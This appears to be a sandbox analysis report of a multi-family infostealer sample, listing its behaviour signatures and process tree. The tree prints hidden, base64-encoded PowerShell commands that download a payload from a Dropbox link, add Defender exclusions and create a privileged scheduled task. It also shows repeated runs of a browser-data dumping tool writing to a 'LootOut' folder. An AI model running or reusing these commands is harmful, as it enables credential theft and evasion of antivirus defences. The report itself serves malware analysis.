Overview

overview

8

Static

static

3

2026-11-01...lc.exe

windows10-2004-x64

8

2026-11-01...lc.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    112s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 16:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-01_843a51b58c5cd52781505e4736eb0aae_blankgrabber_glassworm_icedid_luca-stealer_njrat_stealc.exe
  • Size 7.1MB
  • Sample261102-tnt2dsff38
  • SHA256 b4a22484a3e5e57173f2dfdc1f41447183f1fc5216459f7c1edc1e067def77c7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 33 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 8 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Hide Artifacts: Hidden Window 1 TTPs 33 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_843a51b58c5cd52781505e4736eb0aae_blankgrabber_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_843a51b58c5cd52781505e4736eb0aae_blankgrabber_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\mid_temp_app1.exe
      "C:\Users\Admin\AppData\Local\Temp\mid_temp_app1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3548
    • C:\Users\Admin\AppData\Local\Temp\mid_temp_app2.exe
      "C:\Users\Admin\AppData\Local\Temp\mid_temp_app2.exe"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:5712
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZAByAG8AcABiAG8AeAAuAGMAbwBtAC8AcwBjAGwALwBmAGkALwBlAG8AYgBxAHMAcQAwAHMAYgAzAGMAdwB0AG4AeQB0AGQAZAB2AG4AcQAvAGMAaAByAG8AbQBlAGwAZQB2AGEAdABvAHIAXwB4ADYANAAuAHoAaQBwAC4AZABhAHQAPwByAGwAawBlAHkAPQBnADAAagA5AG0AeQAwAGQAagB1AGEANwBwAG8AZgBzAGEAdwBrAGkAMAB1AGcAdABjACYAcwB0AD0AZgAwAHYANAAxAGgANQBoACYAZABsAD0AMQAnACAALQBPAHUAdABGAGkAbABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAHUAcABkAF8AcABrAGcALgB6AGkAcAAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ATQBhAHgAaQBtAHUAbQBSAGUAZABpAHIAZQBjAHQAaQBvAG4AIAAxADAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
        3⤵
        • Hide Artifacts: Hidden Window
        • Suspicious use of WriteProcessMemory
        PID:2976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZAByAG8AcABiAG8AeAAuAGMAbwBtAC8AcwBjAGwALwBmAGkALwBlAG8AYgBxAHMAcQAwAHMAYgAzAGMAdwB0AG4AeQB0AGQAZAB2AG4AcQAvAGMAaAByAG8AbQBlAGwAZQB2AGEAdABvAHIAXwB4ADYANAAuAHoAaQBwAC4AZABhAHQAPwByAGwAawBlAHkAPQBnADAAagA5AG0AeQAwAGQAagB1AGEANwBwAG8AZgBzAGEAdwBrAGkAMAB1AGcAdABjACYAcwB0AD0AZgAwAHYANAAxAGgANQBoACYAZABsAD0AMQAnACAALQBPAHUAdABGAGkAbABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAHUAcABkAF8AcABrAGcALgB6AGkAcAAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ATQBhAHgAaQBtAHUAbQBSAGUAZABpAHIAZQBjAHQAaQBvAG4AIAAxADAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5732
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAHUAcABkAF8AcABrAGcALgB6AGkAcAAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABXAGkAbgBTAHkAcwAzADIAQwBhAGMAaABlACcAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Hide Artifacts: Hidden Window
        • Suspicious use of WriteProcessMemory
        PID:4364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAHUAcABkAF8AcABrAGcALgB6AGkAcAAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABXAGkAbgBTAHkAcwAzADIAQwBhAGMAaABlACcAIAAtAEYAbwByAGMAZQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1560
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABXAGkAbgBTAHkAcwAzADIAQwBhAGMAaABlACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
        3⤵
        • Hide Artifacts: Hidden Window
        • Suspicious use of WriteProcessMemory
        PID:5696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABXAGkAbgBTAHkAcwAzADIAQwBhAGMAaABlACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4592
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBoAHIAbwBtAGUAbABlAHYAYQB0AG8AcgBfAHgANgA0AC4AZQB4AGUAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
        3⤵
        • Hide Artifacts: Hidden Window
        • Suspicious use of WriteProcessMemory
        PID:3108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBoAHIAbwBtAGUAbABlAHYAYQB0AG8AcgBfAHgANgA0AC4AZQB4AGUAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3252
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" all -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5048
        • C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
          "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" all -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3504
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            5⤵
              PID:2652
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              5⤵
                PID:2716
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" --all --output "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1608
            • C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
              "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" --all --output "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut"
              4⤵
              • Executes dropped EXE
              PID:4248
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" -a -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
              "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" -a -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut"
              4⤵
              • Executes dropped EXE
              PID:2588
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" all -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut" --kill"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2184
            • C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
              "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" all -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut" --kill
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4056
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                5⤵
                  PID:2268
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  5⤵
                    PID:3740
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" --browsers chrome,edge,brave,opera,vivaldi -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut""
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2792
                • C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
                  "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" --browsers chrome,edge,brave,opera,vivaldi -o "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut"
                  4⤵
                  • Executes dropped EXE
                  PID:3836
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAVwBpAG4AUwB5AHMAMwAyAEMAYQBjAGgAZQBcAGMAaAByAG8AbQBlAGwAZQB2AGEAdABvAHIAXwB4ADYANAAuAGUAeABlACIAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwBhAGwAbAAgAC0AbwAgAFwAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFcAaQBuAFMAeQBzADMAMgBDAGEAYwBoAGUAXABMAG8AbwB0AE8AdQB0AFwAIgAnACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFcAaQBuAFMAeQBzADMAMgBDAGEAYwBoAGUAJwA7ACQAcAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBMAG8AZwBvAG4AVAB5AHAAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBQAHIAaQBuAGMAaQBwAGEAbAAgACQAcAAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBDAGEAYwBoAGUAVABhAHMAawA0ADAANAAxADIAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBDAGEAYwBoAGUAVABhAHMAawA0ADAANAAxADIAJwA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:4804
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAVwBpAG4AUwB5AHMAMwAyAEMAYQBjAGgAZQBcAGMAaAByAG8AbQBlAGwAZQB2AGEAdABvAHIAXwB4ADYANAAuAGUAeABlACIAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwBhAGwAbAAgAC0AbwAgAFwAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFcAaQBuAFMAeQBzADMAMgBDAGEAYwBoAGUAXABMAG8AbwB0AE8AdQB0AFwAIgAnACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFcAaQBuAFMAeQBzADMAMgBDAGEAYwBoAGUAJwA7ACQAcAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBMAG8AZwBvAG4AVAB5AHAAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBQAHIAaQBuAGMAaQBwAGEAbAAgACQAcAAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBDAGEAYwBoAGUAVABhAHMAawA0ADAANAAxADIAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBDAGEAYwBoAGUAVABhAHMAawA0ADAANAAxADIAJwA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4776
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:1924
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1144
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:5420
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4548
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:5016
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3516
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:2364
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5152
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:4516
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3316
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:3200
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1408
              • C:\Windows\SYSTEM32\cmd.exe
